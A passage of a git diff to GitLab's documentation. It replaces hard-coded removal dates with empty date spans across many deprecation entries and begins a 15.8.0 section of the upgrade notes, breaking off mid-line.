removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1023,7 +1471,7 @@ Any API calls attempting to change the rate limits for `user_email_lookup_limit` ### Configurable Gitaly `per_repository` election strategy -Planned removal: GitLab <span class="removal-milestone">14.9</span> (2022-03-22) +Planned removal: GitLab <span class="removal-milestone">14.9</span> <span class="removal-date"></span> Configuring the `per_repository` Gitaly election strategy is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/352612). `per_repository` has been the only option since GitLab 14.0. @@ -1036,7 +1484,7 @@ This change is part of regular maintenance to keep our codebase clean. ### Container Network and Host Security -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1059,7 +1507,7 @@ For additional context, or to provide feedback regarding this change, please ref ### Dependency Scanning Python 3.9 and 3.6 image deprecation -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1091,7 +1539,7 @@ gemnasium-python-dependency_scanning: ### Deprecate Geo Admin UI Routes -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> In GitLab 13.0, we introduced new project and design replication details routes in the Geo Admin UI. These routes are `/admin/geo/replication/projects` and `/admin/geo/replication/designs`. We kept the legacy routes and redirected them to the new routes. In GitLab 15.0, we will remove support for the legacy routes `/admin/geo/projects` and `/admin/geo/designs`. Please update any bookmarks or scripts that may use the legacy routes. @@ -1101,7 +1549,7 @@ In GitLab 13.0, we introduced new project and design replication details routes ### Deprecate custom Geo:db:* Rake tasks -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> In GitLab 14.8, we are [replacing the `geo:db:*` Rake tasks with built-in tasks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/77269/diffs) that are now possible after [switching the Geo tracking database to use Rails' 6 support of multiple databases](https://gitlab.com/groups/gitlab-org/-/epics/6458). The following `geo:db:*` tasks will be replaced with their corresponding `db:*:geo` tasks: @@ -1130,7 +1578,7 @@ The following `geo:db:*` tasks will be replaced with their corresponding `db:*:g ### Deprecate feature flag PUSH_RULES_SUPERSEDE_CODE_OWNERS -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1144,7 +1592,7 @@ The feature flag `PUSH_RULES_SUPERSEDE_CODE_OWNERS` is being removed in GitLab 1 ### Deprecate legacy Gitaly configuration methods -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1162,7 +1610,7 @@ GitLab instances that use `GIT_CONFIG_SYSTEM` and `GIT_CONFIG_GLOBAL` to configu ### Elasticsearch 6.8 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1180,7 +1628,7 @@ Elasticsearch 6.8 is also incompatible with Amazon OpenSearch, which we [plan to ### External status check API breaking changes -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1208,7 +1656,7 @@ To align with this change, API calls to list external status checks will also re ### GraphQL API Runner will not accept `status` filter values of `active` or `paused` -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1231,7 +1679,7 @@ status value can be used in place of `active` since GitLab 14.8. ### GraphQL ID and GlobalID compatibility -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1295,7 +1743,7 @@ an inline argument expression). ### OAuth tokens without expiration -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1317,7 +1765,7 @@ tokens before GitLab 15.0 is released: ### Optional enforcement of PAT expiration -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1333,7 +1781,7 @@ Unexpected behavior in a security feature is inherently dangerous, so we have de ### Optional enforcement of SSH expiration -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1349,7 +1797,7 @@ Unexpected behavior in a security feature is inherently dangerous, so we have de ### Out-of-the-box SAST support for Java 8 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1374,7 +1822,7 @@ If you rely on Java 8 being present in the analyzer environment, you must take a ### Querying Usage Trends via the `instanceStatisticsMeasurements` GraphQL node -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1388,7 +1836,7 @@ The `instanceStatisticsMeasurements` GraphQL node has been renamed to `usageTren ### REST and GraphQL API Runner usage of `active` replaced by `paused` -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1419,7 +1867,7 @@ The 16.0 release of GitLab Runner will start using the `paused` property when re ### Request profiling -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1439,7 +1887,7 @@ For more information, check the [summary section of the deprecation issue](https ### Required pipeline configurations in Premium tier -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1458,7 +1906,7 @@ This change will also help GitLab remain consistent in its tiering strategy with ### Retire-JS Dependency Scanning tool -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1474,7 +1922,7 @@ If you have explicitly excluded retire.js using DS_EXCLUDED_ANALYZERS you will n ### SAST analyzer consolidation and CI/CD template changes -Planned removal: GitLab <span class="removal-milestone">15.4</span> (2022-09-22) +Planned removal: GitLab <span class="removal-milestone">15.4</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1519,7 +1967,7 @@ If you applied customizations to any of the affected analyzers or if you current ### SAST support for .NET 2.1 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1551,7 +1999,7 @@ If you rely on .NET 2.1 support being present in the analyzer image by default, ### Secret Detection configuration variables deprecated -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> To make it simpler and more reliable to [customize GitLab Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings), we're deprecating some of the variables that you could previously set in your CI/CD configuration. @@ -1576,7 +2024,7 @@ For further details, see [the deprecation issue for this change](https://gitlab. ### Secure and Protect analyzer images published in new location -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1604,7 +2052,7 @@ See the [deprecation issue](https://gitlab.com/gitlab-org/gitlab/-/issues/352564 ### Secure and Protect analyzer major version update -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1649,7 +2097,7 @@ Specifically, the following are being deprecated and will no longer be updated a ### Support for gRPC-aware proxy deployed between Gitaly and rest of GitLab -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1673,7 +2121,7 @@ the [relevant epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/463). ### Test coverage project CI/CD setting -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1692,7 +2140,7 @@ testing coverage results in merge requests. ### Vulnerability Check -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1713,7 +2161,7 @@ The new security approvals feature is similar to vulnerability check. For exampl ### `CI_BUILD_*` predefined variables -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1742,7 +2190,7 @@ The predefined CI/CD variables that start with `CI_BUILD_*` were deprecated in G ### `projectFingerprint` in `PipelineSecurityReportFinding` GraphQL -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1759,7 +2207,7 @@ exposed in the UUID field. Data previously available in the projectFingerprint f ### `started` iterations API field -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1778,7 +2226,7 @@ The `started` field in the [iterations API](https://docs.gitlab.com/ee/api/itera ### Container scanning schemas below 14.0.0 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> [Container scanning report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases) versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation @@ -1797,7 +2245,7 @@ in the Vulnerability Report. ### Coverage guided fuzzing schemas below 14.0.0 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> [Coverage guided fuzzing report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases) below version 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation @@ -1819,7 +2267,7 @@ in the Vulnerability Report. ### DAST schemas below 14.0.0 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> [DAST report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases) versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation @@ -1841,7 +2289,7 @@ in the Vulnerability Report. ### Dependency scanning schemas below 14.0.0 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> [Dependency scanning report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases) versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation @@ -1863,7 +2311,7 @@ in the Vulnerability Report. ### Enforced validation of security report schemas -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> [Security report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases) versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation @@ -1885,7 +2333,7 @@ in the Vulnerability Report. ### Godep support in License Compliance -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> The Godep dependency manager for Golang was deprecated in 2020 by Go and has been replaced with Go modules. @@ -1898,7 +2346,7 @@ and will remove it in GitLab 15.0 ### Logging in GitLab -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1912,7 +2360,7 @@ The logging features in GitLab allow users to install the ELK stack (Elasticsear ### Monitor performance metrics through Prometheus -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -1927,7 +2375,7 @@ However, since certificate-based integration with Kubernetes clusters is depreca ### Pseudonymizer -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> The Pseudonymizer feature is generally unused, can cause production issues with large databases, @@ -1940,7 +2388,7 @@ It is now considered deprecated, and will be removed in GitLab 15.0. ### SAST schemas below 14.0.0 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> [SAST report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases) versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation @@ -1962,7 +2410,7 @@ in the Vulnerability Report. ### Secret detection schemas below 14.0.0 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> [Secret detection report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/releases) versions earlier than 14.0.0 will no longer be supported in GitLab 15.0. Reports that do not pass validation @@ -1984,7 +2432,7 @@ in the Vulnerability Report. ### Sidekiq metrics and health checks configuration -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2016,7 +2464,7 @@ to serve the Sidekiq metrics, similar to the way Sidekiq will behave in 15.0. ### Static Site Editor -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> The Static Site Editor will no longer be available starting in GitLab 15.0. Improvements to the Markdown editing experience across GitLab will deliver smiliar benefit but with a wider reach. Incoming requests to the Static Site Editor will be redirected to the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/index.html). @@ -2028,7 +2476,7 @@ Current users of the Static Site Editor can view the [documentation](https://doc ### Tracing in GitLab -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2042,7 +2490,7 @@ Tracing in GitLab is an integration with Jaeger, an open-source end-to-end distr ### `artifacts:reports:cobertura` keyword -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2059,7 +2507,7 @@ only supported report file in 15.0, but this is the first step towards GitLab su ### merged_by API field -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2078,7 +2526,7 @@ The `merged_by` field in the [merge request API](https://docs.gitlab.com/ee/api/ ### CI/CD job name length limit -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2092,7 +2540,7 @@ In GitLab 15.0 we are going to limit the number of characters in CI/CD job names ### Legacy approval status names from License Compliance API -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2108,7 +2556,7 @@ If you are using our License Compliance API you should stop using the `approved` ### `type` and `types` keyword in CI/CD configuration -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2122,7 +2570,7 @@ The `type` and `types` CI/CD keywords will be removed in GitLab 15.0. Pipelines ### apiFuzzingCiConfigurationCreate GraphQL mutation -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2138,7 +2586,7 @@ which isn't being used in GitLab anymore. ### bundler-audit Dependency Scanning tool -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2159,7 +2607,7 @@ If you have explicitly excluded bundler-audit using DS_EXCLUDED_ANALYZERS you wi ### Changing an instance (shared) runner to a project (specific) runner -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2177,7 +2625,7 @@ Administrators who need to add runners for multiple projects can register a runn ### GraphQL API Runner status will not return `paused` -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2198,7 +2646,7 @@ When checking if a runner is `paused`, API users are advised to check the boolea ### Known host required for GitLab Runner SSH executor -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2214,7 +2662,7 @@ In GitLab 15.0 and later, the default value for this configuration option will c ### Package pipelines in API payload is paginated -Planned removal: GitLab <span class="removal-milestone">16.0</span> (2023-05-22) +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2230,7 +2678,7 @@ In milestone 16.0, we will remove the `pipelines` attribute from the API respons ### SaaS certificate-based integration with Kubernetes -Planned removal: GitLab <span class="removal-milestone">15.9</span> (2023-02-22) +Planned removal: GitLab <span class="removal-milestone">15.9</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2251,7 +2699,7 @@ GitLab self-managed customers can still use the feature [with a feature flag](ht ### Self-managed certificate-based integration with Kubernetes -Planned removal: GitLab <span class="removal-milestone">17.0</span> (2024-05-22) +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2274,7 +2722,7 @@ For updates and details about this deprecation, follow [this epic](https://gitla ### Support for SLES 12 SP2 -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2288,7 +2736,7 @@ Long term service and support (LTSS) for SUSE Linux Enterprise Server (SLES) 12 ### Update to the Container Registry group-level API -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2304,7 +2752,7 @@ The `GET /groups/:id/registry/repositories` endpoint will remain, but won't retu ### Value Stream Analytics filtering calculation change -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2320,7 +2768,7 @@ If you monitor Value Stream Analytics metrics and rely on the date filter, to av ### `Versions` on base `PackageType` -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2336,7 +2784,7 @@ In milestone 15.0, we will completely remove `Version` from `PackageType`. ### `defaultMergeCommitMessageWithDescription` GraphQL API field -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2350,7 +2798,7 @@ The GraphQL API field `defaultMergeCommitMessageWithDescription` has been deprec ### `dependency_proxy_for_private_groups` feature flag -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2366,7 +2814,7 @@ In milestone 15.0, we will remove the feature flag entirely. Moving forward, you ### `pipelines` field from the `version` field -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2385,7 +2833,7 @@ To mitigate possible performance problems, we will remove the `versions` field's ### `promote-db` command from `gitlab-ctl` -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2399,7 +2847,7 @@ In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Ge ### `promote-to-primary-node` command from `gitlab-ctl` -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2413,7 +2861,7 @@ In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Ge ### openSUSE Leap 15.2 packages -Planned removal: GitLab <span class="removal-milestone">14.8</span> (2022-02-22) +Planned removal: GitLab <span class="removal-milestone">14.8</span> <span class="removal-date"></span> Distribution support and security updates for openSUSE Leap 15.2 are [ending December 2021](https://en.opensuse.org/Lifetime#openSUSE_Leap). @@ -2430,7 +2878,7 @@ Starting in 14.5 we are providing packages for openSUSE Leap 15.3, and will stop ### Audit events for repository push events -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2448,7 +2896,7 @@ dramatically slow down GitLab instances. For this reason, they are being removed ### GitLab Serverless -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2464,7 +2912,7 @@ We decided to remove the GitLab Serverless features as they never really resonat ### Legacy database configuration -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2482,7 +2930,7 @@ This deprecation mainly impacts users compiling GitLab from source because Omnib ### OmniAuth Kerberos gem -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2505,7 +2953,7 @@ Note that we are not deprecating the Kerberos SPNEGO integration, only the old p ### Release CLI distributed as a generic package -Planned removal: GitLab <span class="removal-milestone">14.6</span> (2021-12-22) +Planned removal: GitLab <span class="removal-milestone">14.6</span> <span class="removal-date"></span> The [release-cli](https://gitlab.com/gitlab-org/release-cli) will be released as a [generic package](https://gitlab.com/gitlab-org/release-cli/-/packages) starting in GitLab 14.2. We will continue to deploy it as a binary to S3 until GitLab 14.5 and stop distributing it in S3 in GitLab 14.6. @@ -2515,7 +2963,7 @@ The [release-cli](https://gitlab.com/gitlab-org/release-cli) will be released as ### Rename Task Runner pod to Toolbox -Planned removal: GitLab <span class="removal-milestone">14.5</span> (2021-11-22) +Planned removal: GitLab <span class="removal-milestone">14.5</span> <span class="removal-date"></span> The Task Runner pod is used to execute periodic housekeeping tasks within the GitLab application and is often confused with the GitLab Runner. Thus, [Task Runner will be renamed to Toolbox](https://gitlab.com/groups/gitlab-org/charts/-/epics/25). @@ -2532,7 +2980,7 @@ This will result in the rename of the sub-chart: `gitlab/task-runner` to `gitlab ### NFS for Git repository storage -Planned removal: GitLab <span class="removal-milestone">15.6</span> (2022-11-22) +Planned removal: GitLab <span class="removal-milestone">15.6</span> <span class="removal-date"></span> With the general availability of Gitaly Cluster ([introduced in GitLab 13.0](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/)), we have deprecated development (bugfixes, performance improvements, etc) for NFS for Git repository storage in GitLab 14.0. We will continue to provide technical support for NFS for Git repositories throughout 14.x, but we will remove all support for NFS on November 22, 2022. This was originally planned for May 22, 2022, but in an effort to allow continued maturity of Gitaly Cluster, we have chosen to extend our deprecation of support date. Please see our official [Statement of Support](https://about.gitlab.com/support/statement-of-support/#gitaly-and-nfs) for further information. @@ -2550,7 +2998,7 @@ We encourage customers currently using NFS for Git repositories to plan their mi ### OAuth implicit grant -Planned removal: GitLab <span class="removal-milestone">15.0</span> (2022-05-22) +Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). diff --git a/doc/update/index.md b/doc/update/index.md index d838f8dda34..5f42ed735af 100644 --- a/doc/update/index.md +++ b/doc/update/index.md @@ -273,6 +273,18 @@ NOTE: Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/) and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches. +### 15.8.0 + +- Git 